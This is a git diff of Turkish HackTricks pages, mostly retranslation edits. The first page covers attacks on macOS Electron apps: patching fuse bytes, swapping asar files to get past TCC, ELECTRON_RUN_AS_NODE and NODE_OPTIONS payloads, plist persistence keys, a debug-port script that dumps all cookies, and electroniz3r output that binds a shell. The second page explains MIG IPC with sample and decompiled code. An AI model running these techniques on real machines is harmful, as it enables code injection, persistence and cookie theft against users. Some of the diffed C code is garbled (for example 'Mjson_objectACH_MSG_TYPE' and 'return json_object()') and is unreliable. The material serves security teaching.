+* **`OnlyLoadAppFromAsar`**: Bu etkinse, aşağıdaki sırayla yükleme arayışında olmak yerine: **`app.asar`**, **`app`** ve son olarak **`default_app.asar`**. Sadece app.asar'ı kontrol eder ve kullanır, böylece **`embeddedAsarIntegrityValidation`** sigortası ile birleştirildiğinde **doğrulanmamış kodun** yüklenmesinin **imkansız** olduğunu garanti eder.
+* **`LoadBrowserProcessSpecificV8Snapshot`**: Etkinse, tarayıcı işlemi V8 anlık görüntüsü için `browser_v8_context_snapshot.bin` adlı dosyayı kullanır.
-Kod enjeksiyonunu önlemeyen başka bir ilginç füzyon:
+Kod enjeksiyonunu önlemeyen başka ilginç bir sigorta ise:
-* **EnableCookieEncryption**: Etkinleştirilirse, diskteki çerez deposu işletim sistemi düzeyinde şifreleme anahtarları kullanılarak şifrelenir.
+* **EnableCookieEncryption**: Etkinse, diskteki çerez deposu işletim sistemi düzeyindeki şifreleme anahtarları kullanılarak şifrelenir.
-### Electron Füzyonlarını Kontrol Etme
+### Electron Sigortalarını Kontrol Etme
-Bu bayrakları bir uygulamadan **kontrol edebilirsiniz**:
+Bu bayrakları bir uygulamadan kontrol edebilirsiniz:
```bash
npx @electron/fuses read --app /Applications/Slack.app
@@ -49,37 +49,38 @@ EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled
```
-### Electron Füze Ayarlarını Değiştirme
+### Electron Sigortalarını Değiştirme
-[**Belgelerde**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode) belirtildiği gibi, **Electron Füze**nin yapılandırması, **Electron ikili** içinde yapılandırılmıştır ve içinde **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** dizesini içeren bir yer bulunur.
+[Belgelerde belirtildiği gibi](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), **Electron Sigortalarının** yapılandırması genellikle **Electron ikili dosyası** içinde yapılandırılmıştır ve içinde **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** dizesini içerir.
-MacOS uygulamalarında genellikle `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` içinde bulunur.
+MacOS uygulamalarında bu genellikle `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` dizinindedir.
```bash
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
```
-Bu dosyayı [https://hexed.it/](https://hexed.it/) adresinde yükleyebilir ve önceki dizeyi arayabilirsiniz. Bu dizeden sonra, her sigortanın devre dışı bırakılmış veya etkinleştirilmiş olduğunu gösteren ASCII'de bir "0" veya "1" numarası görebilirsiniz. Sadece hex kodunu (`0x30` `0` ve `0x31` `1` olarak) **sigorta değerlerini değiştirmek** için değiştirin.
+Bu dosyayı [https://hexed.it/](https://hexed.it/) adresinde yükleyebilir ve önceki dizeyi arayabilirsiniz. Bu dizenin hemen sonrasında, her sigortanın devre dışı bırakılmış veya etkinleştirilmiş olduğunu gösteren bir "0" veya "1" sayısı ASCII olarak görünecektir. Sadece hex kodunu değiştirin (`0x30` `0` ve `0x31` `1` olarak) **sigorta değerlerini değiştirmek** için.
-
+
-Ancak, bu baytları değiştirilmiş olarak bir uygulamanın içindeki **`Electron Framework` ikili** dosyasını **üzerine yazmaya** çalışırsanız, uygulama çalışmayacaktır.
+Uyarı: **`Electron Framework` ikili** dosyasını bu baytlar değiştirilmiş bir uygulamanın içine **üzerine yazmaya** çalışırsanız, uygulama çalışmayacaktır.
## Electron Uygulamalarına Kod Ekleyerek Uzaktan Kod Çalıştırma (RCE)
-Bir Electron Uygulamasının kullandığı **harici JS/HTML dosyaları** olabilir, bu nedenle bir saldırgan bu dosyalara kod enjekte edebilir ve imzası kontrol edilmeyen bu kodu uygulama bağlamında çalıştırabilir.
+Bir Electron Uygulamasının kullandığı **harici JS/HTML dosyaları** olabilir, bu nedenle bir saldırgan bu dosyalara kod enjekte edebilir ve imzası kontrol edilmeyen bu dosyalarda keyfi kodları uygulama bağlamında çalıştırabilir.
{% hint style="danger" %}
-Ancak, şu anda 2 sınırlama bulunmaktadır:
+Ancak, şu anda 2 kısıtlama bulunmaktadır:
* Bir Uygulamayı değiştirmek için **`kTCCServiceSystemPolicyAppBundles`** iznine **ihtiyaç** vardır, bu nedenle varsayılan olarak bu artık mümkün değildir.
-* Derlenmiş **`asap`** dosyasının genellikle **`embeddedAsarIntegrityValidation`** ve **`onlyLoadAppFromAsar`** sigortaları **etkin** olarak ayarlıdır.
+* Derlenmiş **`asap`** dosyasının genellikle füze **`embeddedAsarIntegrityValidation`** ve **`onlyLoadAppFromAsar`** `etkin` olarak ayarlanmıştır.
Bu saldırı yolunu daha karmaşık (veya imkansız) hale getirir.
+
{% endhint %}
-**`kTCCServiceSystemPolicyAppBundles`** gereksinimini atlamak mümkündür. Bunun için uygulamayı başka bir dizine (örneğin **`/tmp`**) kopyalayarak, klasörü **`app.app/Contents`** olarak yeniden adlandırarak, **asar** dosyasını **kötü niyetli** kodunuzla değiştirerek, tekrar **`app.app/Contents`** olarak adlandırarak ve çalıştırarak yapabilirsiniz.
+`kTCCServiceSystemPolicyAppBundles` gereksinimini atlamak mümkündür, uygulamayı başka bir dizine (örneğin **`/tmp`**) kopyalayarak, klasörü **`app.app/Contents`**'i **`app.app/NotCon`** olarak yeniden adlandırarak, **asar** dosyasını **zararlı** kodunuzla değiştirerek, tekrar **`app.app/Contents`** olarak adlandırarak ve çalıştırarak.
-Asar dosyasından kodu çıkarabilirsiniz:
+Asar dosyasından kodu açabilirsiniz:
```bash
npx asar extract app.asar app-decomp
```
@@ -89,7 +90,7 @@ npx asar pack app-decomp app-new.asar
```
## `ELECTRON_RUN_AS_NODE` ile Uzaktan Kod Çalıştırma (RCE)
-[**Belgelere**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node) göre, bu çevre değişkeni ayarlandığında, işlem normal bir Node.js işlemi olarak başlatılır.
+[**Belgelere**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node) göre, bu çevre değişkeni ayarlandığında işlem normal bir Node.js işlemi olarak başlatılacaktır.
{% code overflow="wrap" %}
```bash
@@ -101,12 +102,12 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
{% endcode %}
{% hint style="danger" %}
-Eğer **`RunAsNode`** füzesi devre dışı bırakılmışsa, **`ELECTRON_RUN_AS_NODE`** ortam değişkeni görmezden gelinir ve bu çalışmaz.
+Eğer **`RunAsNode`** anahtarı devre dışı bırakılmışsa, **`ELECTRON_RUN_AS_NODE`** ortam değişkeni görmezden gelinir ve bu çalışmaz.
{% endhint %}
-### Uygulama Plist'ten Enjeksiyon
+### Uygulama Plist Dosyasından Enjeksiyon
-[**Burada önerildiği gibi**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), kalıcılığı sağlamak için bu ortam değişkenini bir plist içinde kötüye kullanabilirsiniz:
+[**Burada önerildiği gibi**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), kalıcılığı sağlamak için bu ortam değişkenini bir plist dosyasında kötüye kullanabilirsiniz:
```xml
@@ -145,12 +146,14 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
{% endcode %}
{% hint style="danger" %}
-Eğer **EnableNodeOptionsEnvironmentVariable** ayarı **devre dışı** bırakılmışsa, uygulama başlatıldığında **NODE_OPTIONS** ortam değişkenini **yoksayacak**, ancak **ELECTRON_RUN_AS_NODE** ortam değişkeni ayarlanmışsa, bu da **yoksayılacak**tır. Eğer **ELECTRON_RUN_AS_NODE** ayarını yapmazsanız, şu hatayı alırsınız: `Paketlenmiş uygulamalarda çoğu NODE_OPTION desteklenmez. Daha fazla ayrıntı için belgelere bakın.`
+Eğer **`EnableNodeOptionsEnvironmentVariable`** füzyonu **devre dışı bırakılmışsa**, uygulama başlatıldığında **NODE_OPTIONS** çevresel değişkenini **yoksayar**. Bu durum, **`ELECTRON_RUN_AS_NODE`** çevresel değişkeni ayarlanmadığı sürece **yoksayılacaktır** ve bu da **`RunAsNode`** füzyonu devre dışı bırakılmışsa **yoksayılacaktır**.
+
+**`ELECTRON_RUN_AS_NODE`** ayarlamazsanız, şu **hata** ile karşılaşırsınız: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
{% endhint %}
### Uygulama Plist'ten Enjeksiyon
-Bu ortam değişkenini bir plist içinde kötüye kullanabilir ve süreklilik sağlayabilirsiniz. Aşağıdaki anahtarları ekleyin:
+Bu çevresel değişkeni bir plist'te kötüye kullanarak kalıcılığı sürdürebilirsiniz, aşağıdaki anahtarları ekleyerek:
```xml
EnvironmentVariables
@@ -166,9 +169,9 @@ Bu ortam değişkenini bir plist içinde kötüye kullanabilir ve süreklilik sa
```
-## Denetim yaparak Uzaktan Kod Enjeksiyonu (RCE)
+## Denetim yaparak Uzaktan Kod Yürütme (RCE)
-[**Bu**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) kaynağa göre, Electron uygulamasını **`--inspect`**, **`--inspect-brk`** ve **`--remote-debugging-port`** gibi bayraklarla çalıştırırsanız, bir **hata ayıklama bağlantı noktası açılacak** ve buna bağlanabileceksiniz (örneğin Chrome'da `chrome://inspect` üzerinden) ve hatta yeni işlemler başlatabileceksiniz.\
+[**Bu**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) kaynağa göre, Electron uygulamasını **`--inspect`**, **`--inspect-brk`** ve **`--remote-debugging-port`** gibi bayraklarla çalıştırırsanız, bir **hata ayıklama bağlantı noktası açılacaktır** böylece ona bağlanabilirsiniz (örneğin Chrome'dan `chrome://inspect` üzerinden) ve üzerine **kod enjekte edebilirsiniz** veya yeni işlemler başlatabilirsiniz.\
Örneğin:
{% code overflow="wrap" %}
@@ -180,10 +183,12 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
{% endcode %}
{% hint style="danger" %}
-Eğer **`EnableNodeCliInspectArguments`** adlı fuse devre dışı bırakılmışsa, uygulama başlatıldığında **`--inspect`** gibi node parametrelerini **yok sayar**, ancak **`ELECTRON_RUN_AS_NODE`** adlı çevresel değişken ayarlanmışsa, bu da **yok sayılır**. Bu durumda **electron parametresi `--remote-debugging-port=9229`** kullanabilirsiniz, ancak önceki payload diğer işlemleri yürütmek için çalışmayacaktır.
+Eğer **`EnableNodeCliInspectArguments`** kilidi devre dışı bırakılmışsa, uygulama başlatıldığında **node parametrelerini** (örneğin `--inspect`) **yoksayar** (env değişkeni **`ELECTRON_RUN_AS_NODE`** ayarlanmadığı sürece), bu da **yoksayılacak** eğer **`RunAsNode`** kilidi devre dışı bırakılmışsa.
+
+Ancak, hala **electron parametresi `--remote-debugging-port=9229`** kullanabilirsiniz ancak önceki yük işlemi diğer işlemleri yürütmek için çalışmayacaktır.
{% endhint %}
-Parametre **`--remote-debugging-port=9222`** kullanarak, Electron Uygulamasından **geçmiş** (GET komutlarıyla) veya tarayıcının **çerezlerini** (tarayıcı içinde **şifrelenmiş** oldukları ve onları verecek bir **json uç noktası** olduğu için) çalmak mümkündür.
+Parametre **`--remote-debugging-port=9222`** kullanarak Electron Uygulamasından bazı bilgileri çalmak mümkündür, örneğin **geçmiş** (GET komutları ile) veya tarayıcının içinde **şifrelenmiş** olan **çerezler** (çünkü tarayıcı içinde **şifrelenmiş** ve onları verecek bir **json uç noktası** bulunmaktadır).
Bunu [**burada**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) ve [**burada**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) öğrenebilir ve otomatik araç [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) veya basit bir betik kullanabilirsiniz:
```python
@@ -193,11 +198,11 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
```
-[**Bu blog yazısında**](https://hackerone.com/reports/1274695), bu hata ayıklama işlemi, başsız bir chrome'un **keyfi dosyaları keyfi konumlara indirmesini sağlamak için** kötüye kullanılmıştır.
+[**Bu blog yazısında**](https://hackerone.com/reports/1274695), bu hata ayıklama işlemi, başsız bir chrome'un **keyfi dosyaları keyfi konumlara indirmesini sağlamak için kötüye kullanılmıştır**.
### Uygulama Plist'ten Enjeksiyon
-Bu çevre değişkenini bir plist içinde kötüye kullanabilir ve kalıcılığı sağlamak için şu anahtarları ekleyebilirsiniz:
+Bu çevresel değişkeni bir plist'te kötüye kullanabilir ve kalıcılığı sürdürmek için şu anahtarları ekleyebilirsiniz:
```xml
ProgramArguments
@@ -214,19 +219,19 @@ Bu çevre değişkenini bir plist içinde kötüye kullanabilir ve kalıcılığ
## Eski Sürümleri Kullanarak TCC Atlatma
{% hint style="success" %}
-macOS'un TCC daemon'ı, uygulamanın çalıştırılan sürümünü kontrol etmez. Bu nedenle, önceki tekniklerle bir Electron uygulamasına kod enjekte edemiyorsanız, bir önceki sürümünü indirip üzerine kod enjekte edebilirsiniz çünkü hala TCC ayrıcalıklarını alacaktır (Trust Cache engellemezse).
+macOS'taki TCC daemonı uygulamanın çalıştırılan sürümünü kontrol etmez. Dolayısıyla, **Electron uygulamasına kod enjekte edemezseniz** önceki tekniklerden herhangi biriyle eski bir UYGULAMA sürümünü indirip üzerine kod enjekte edebilirsiniz çünkü hala TCC ayrıcalıklarını alacaktır (Güven Önbelleği engellemezse).
{% endhint %}
-## JS Kodu Dışında Kod Çalıştırma
+## JS Olmayan Kod Çalıştırma
-Önceki teknikler, **electron uygulamasının işlemi içinde JS kodunu çalıştırmanıza** izin verecektir. Ancak, **çocuk işlemler, ebeveyn uygulama ile aynı kum havuzu profilinde** çalışır ve **TCC izinlerini miras alır**.\
-Bu nedenle, örneğin kamera veya mikrofona erişmek için yetkilendirmeleri kötüye kullanmak istiyorsanız, sadece **işlem içinden başka bir ikili çalıştırabilirsiniz**.
+Önceki teknikler size **Electron uygulamasının işlemi içinde JS kodunu çalıştırmanıza** izin verecektir. Ancak, **çocuk işlemler aynı kum havuzu profili altında çalışır** ve **TCC izinlerini miras alırlar**.\
+Bu nedenle, örneğin kameraya veya mikrofona erişmek için ayrıcalıkları kötüye kullanmak istiyorsanız, sadece **işlem içinden başka bir ikili dosyayı çalıştırabilirsiniz**.
## Otomatik Enjeksiyon
-[**electroniz3r**](https://github.com/r3ggi/electroniz3r) aracı, kurulu olan zayıf noktalı electron uygulamalarını bulmak ve üzerlerine kod enjekte etmek için kolayca kullanılabilir. Bu araç, **`--inspect`** tekniğini kullanmaya çalışacaktır:
+[**electroniz3r**](https://github.com/r3ggi/electroniz3r) aracı, yüklü olan **savunmasız electron uygulamalarını bulmak** ve üzerlerine kod enjekte etmek için kolayca kullanılabilir. Bu araç **`--inspect`** tekniğini kullanmaya çalışacaktır:
-Kendiniz derlemeniz gerekmektedir ve aşağıdaki gibi kullanabilirsiniz:
+Kendiniz derlemeniz ve şu şekilde kullanmanız gerekmektedir:
```bash
# Find electron apps
./electroniz3r list-apps
@@ -270,14 +275,14 @@ Shell binding requested. Check `nc 127.0.0.1 12345`
-AWS hackleme konusunda sıfırdan kahramana dönüşmek içinhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!
+Sıfırdan kahraman olana kadar AWS hacklemeyi öğreninhtARTE (HackTricks AWS Red Team Expert)!
-HackTricks'i desteklemenin diğer yolları:
+HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
+* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
-* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizle**](https://opensea.io/collection/the-peass-family)
+* 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
index 61567e0f4..8a67fc81d 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
@@ -2,19 +2,19 @@
-Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
+AWS hacklemeyi sıfırdan kahramana dönüştürmek içinhtARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile öğrenin!
-HackTricks'ı desteklemenin diğer yolları:
+HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
-* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-MIG, **Mach IPC işlemi oluşturma sürecini basitleştirmek** için oluşturulmuştur. Temelde, sunucu ve istemcinin iletişim kurması için gerekli kodu **belirli bir tanım ile oluşturur**. Oluşturulan kod ne kadar kötü görünürse görünsün, bir geliştirici sadece bunu içe aktarması yeterli olacak ve kodu öncekinden çok daha basit olacaktır.
+MIG, **Mach IPC işlemi** kod oluşturma sürecini basitleştirmek için oluşturulmuştur. Temelde, sunucu ve istemcinin iletişim kurması için gerekli kodu **belirli bir tanım ile oluşturur**. Oluşturulan kod ne kadar kötü görünürse görünsün, bir geliştirici sadece bunu içe aktarması yeterli olacak ve kodu öncekinden çok daha basit olacaktır.
### Örnek
@@ -37,13 +37,13 @@ n2 : uint32_t);
```
{% endcode %}
-Şimdi mig'i kullanarak, birbirleriyle iletişim kurabilecek şekilde sunucu ve istemci kodunu oluşturun ve Çıkarma işlevini çağırmak için birbirleriyle iletişim kurun:
+Şimdi mig'i kullanarak birbirleriyle iletişim kurabilecek sunucu ve istemci kodunu oluşturmak için Subtract işlevini çağırmak için:
```bash
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
```
Çeşitli yeni dosyalar mevcut dizinde oluşturulacaktır.
-**`myipcServer.c`** ve **`myipcServer.h`** dosyalarında **`SERVERPREFmyipc_subsystem`** yapısının bildirimi ve tanımını bulabilirsiniz, bu yapı temelde alınan mesaj kimliğine göre çağrılacak işlevi tanımlar (başlangıç numarasını 500 olarak belirttik):
+**`myipcServer.c`** ve **`myipcServer.h`** dosyalarında **`SERVERPREFmyipc_subsystem`** yapısının bildirimi ve tanımını bulabilirsiniz, bu yapı temel olarak alınan mesaj kimliğine göre çağrılacak işlevi tanımlar (başlangıç numarasını 500 olarak belirttik):
{% tabs %}
{% tab title="myipcServer.c" %}
@@ -64,27 +64,17 @@ myipc_server_routine,
```
{% endtab %}
-{% tab title="myipcServer.h" %}
-
-### macOS MIG (Mach Interface Generator)
-
-MIG is a tool used to define inter-process communication (IPC) for macOS. It generates client and server-side code for IPC. MIG interfaces are defined in .defs files and are used to define the messages that can be sent between processes.
-
-#### Example .defs file:
+{% tab title="myipcServer.h" %}Dosya: myipcServer.h
```c
-routine my_ipc_message {
- mach_msg_header_t Head;
- int data;
-} -> {
- mach_msg_header_t Head;
- int result;
-};
-```
+#include
+#include
+#include "myipcServer.h"
-In this example, `my_ipc_message` is a routine that sends an integer `data` from the client to the server and receives an integer `result` in response.
+kern_return_t myipc_server(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP);
+```
-MIG simplifies the process of defining IPC interfaces and handling messages between processes in macOS.
+{% endtab %}
```c
/* Description of this subsystem, for use in direct RPC */
extern const struct SERVERPREFmyipc_subsystem {
@@ -205,48 +195,16 @@ mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsy
#include "myipc.h"
int main() {
- mach_port_t bootstrap_port;
- kern_return_t kr = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
+ mach_port_t server_port;
+ kern_return_t kr;
+
+ kr = bootstrap_look_up(bootstrap_port, "com.example.myipc", &server_port);
if (kr != KERN_SUCCESS) {
- printf("Failed to get bootstrap port\n");
+ printf("Failed to look up server port: %s\n", mach_error_string(kr));
return 1;
}
- myipc_t myipc = MYIPC_NULL;
- kr = bootstrap_look_up(bootstrap_port, MYIPC_SERVICE_NAME, &myipc);
- if (kr != KERN_SUCCESS) {
- printf("Failed to look up service %s\n", MYIPC_SERVICE_NAME);
- return json_object();
- }
-
- myipc_msg_t msg = {
- .hdr = {
- .msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, Mjson_objectACH_MSG_TYPE_MAKE_SEND_ONCE),
- .msgh_size = sizeof(myipc_msg_t),
- .msgh_remote_port = myipc,
- .msgh_local_port = MACH_PORT_NULL,
- .msgh_id = 0x41414141
- },
- .body = {
- .msgh_descriptor_count = 1,
- .msgh_descriptors = {
- {
- .name = MACH_MSG_PORT_DESCRIPTOR,
- .disposition = MACH_MSG_TYPE_COPY_SEND,
- .type = MACH_MSG_PORT_DESCRIPTOR,
- .pad1 = 0,
- .pad2 = 0,
- .port = MACH_PORT_NULL
- }
- }
- }
- };
-
- kr = mach_msg(&msg.hdr, MACH_SEND_MSG, msg.hmsg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
- if (kr != KERN_SUCCESS) {
- printf("Failed to send message\n");
- return 1;
- }
+ myipc_client(server_port);
return 0;
}
@@ -279,20 +237,20 @@ USERPREFSubtract(port, 40, 2);
```
### Binary Analizi
-Birçok ikili dosya artık mach bağlantı noktalarını açığa çıkarmak için MIG'yi kullandığından, MIG'nin kullanıldığını **tanımanın** ve her mesaj kimliği ile MIG'nin yürüttüğü **işlevleri** bilmek ilginçtir.
+Birçok ikili dosya artık mach bağlantı noktalarını açığa çıkarmak için MIG kullanıyor, bu nedenle **MIG'nin kullanıldığını belirlemenin** ve her mesaj kimliği ile **MIG'nin yürüttüğü işlevleri** bilmek ilginç olabilir.
-[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2), bir Mach-O ikili dosyasından MIG bilgilerini ayrıştırabilir ve mesaj kimliğini göstererek yürütülecek işlevi tanımlayabilir:
+[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2), bir Mach-O ikili dosyasından MIG bilgilerini ayrıştırabilir ve mesaj kimliğini göstererek yürütülecek işlevi belirleyebilir:
```bash
jtool2 -d __DATA.__const myipc_server | grep MIG
```
-Önceki bölümde, **alınan mesaj kimliğine bağlı olarak doğru işlevi çağıracak olan fonksiyonun** `myipc_server` olduğu belirtilmişti. Ancak genellikle ikili dosyanın sembolleri olmayacaktır (işlev adları yok), bu yüzden **nasıl decompile edildiğine bakmak ilginç olacaktır** çünkü her zaman çok benzer olacaktır (bu işlevin kodu, sunulan işlevlerden bağımsızdır):
+Daha önce, **alınan mesaj kimliğine bağlı olarak doğru işlevi çağıracak olan fonksiyonun** `myipc_server` olduğu belirtilmişti. Ancak genellikle ikili dosyanın sembolleri olmayacaktır (işlev adları yok), bu yüzden **nasıl decompile edildiğine bakmak ilginç olacaktır** çünkü her zaman çok benzer olacaktır (bu işlevin kodu, sunulan işlevlerden bağımsızdır):
{% tabs %}
{% tab title="myipc_server decompiled 1" %}
int _myipc_server(int arg0, int arg1) {
var_10 = arg0;
var_18 = arg1;
-// Doğru işlev işaretçilerini bulmak için ilk talimatlar
+// Uygun işlev işaretçilerini bulmak için ilk talimatlar
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
@@ -301,13 +259,13 @@ var_18 = arg1;
*(int32_t *)(var_18 + 0x10) = 0x0;
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
rax = *(int32_t *)(var_10 + 0x14);
-// Bu işlevi tanımlamaya yardımcı olabilecek sign_extend_64 çağrısı
+// Çağrılacak işlevi tanımlamaya yardımcı olabilecek sign_extend_64 çağrısı
// Bu, çağrılması gereken işlevin işaretçisini rax'a depolar
-// Kullanılan adres 0x100004040'ı kontrol edin (işlev adresleri dizisi)
+// Kullanılan adres 0x100004040'ı kontrol edin (işlevlerin adresleri dizisi)
// 0x1f4 = 500 (başlangıç ID'si)
rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
var_20 = rax;
-// If - else, if döndürmezken else doğru işlevi çağırır ve true döndürür
+// If - else, if yanıtı yanlış döndürürken else doğru işlevi çağırır ve doğru döndürür
if (rax == 0x0) {
*(var_18 + 0x18) = **_NDR_record;
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
@@ -331,7 +289,7 @@ return rax;
{% endtab %}
{% tab title="myipc_server decompiled 2" %}
-Bu, farklı bir Hopper ücretsiz sürümünde decompile edilmiş aynı işlevdir:
+Bu, farklı bir Hopper free sürümünde decompile edilmiş aynı işlevdir:
int _myipc_server(int arg0, int arg1) {
r31 = r31 - 0x40;
@@ -339,7 +297,7 @@ saved_fp = r29;
stack[-8] = r30;
var_10 = arg0;
var_18 = arg1;
-// Doğru işlev işaretçilerini bulmak için ilk talimatlar
+// Uygun işlev işaretçilerini bulmak için ilk talimatlar
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
@@ -375,7 +333,7 @@ r8 = 0x1;
}
}
// Önceki sürümdeki gibi aynı if else
-// Kullanılan adres 0x100004040 (işlev adresleri dizisi) kontrol edilir
+// Kullanılan adres 0x100004040 (işlevlerin adresleri dizisi) kontrol edilir
if ((r8 & 0x1) == 0x0) {
*(var_18 + 0x18) = **0x100004000;
*(int32_t *)(var_18 + 0x20) = 0xfffffed1;
@@ -406,24 +364,22 @@ return r0;
{% endtab %}
{% endtabs %}
-Aslında, **`0x100004000`** işlevine giderseniz, **`routine_descriptor`** yapılarının dizisini bulacaksınız. Yapının ilk öğesi, **işlevin uygulandığı adres** ve **yapının 0x28 bayt** alacağıdır, bu nedenle her 0x28 baytta (bayt 0'dan başlayarak) 8 bayt alabilir ve bu, **çağrılacak işlevin adresi** olacaktır:
-
-
+Aslında, **`0x100004000`** işlevine giderseniz, **`routine_descriptor`** yapılarının dizisini bulacaksınız. Yapının ilk öğesi, **işlevin uygulandığı adres** ve **yapının 0x28 bayt aldığını** göz önünde bulundurarak, her 0x28 baytta (bayt 0'dan başlayarak) 8 bayt alabilir ve bu, **çağrılacak işlevin adresi** olacaktır:
+
+
Bu veriler, [**bu Hopper betiği kullanılarak**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) çıkarılabilir.
-Sıfırdan başlayarak AWS hacklemeyi öğreninhtARTE (HackTricks AWS Red Team Expert) ile!
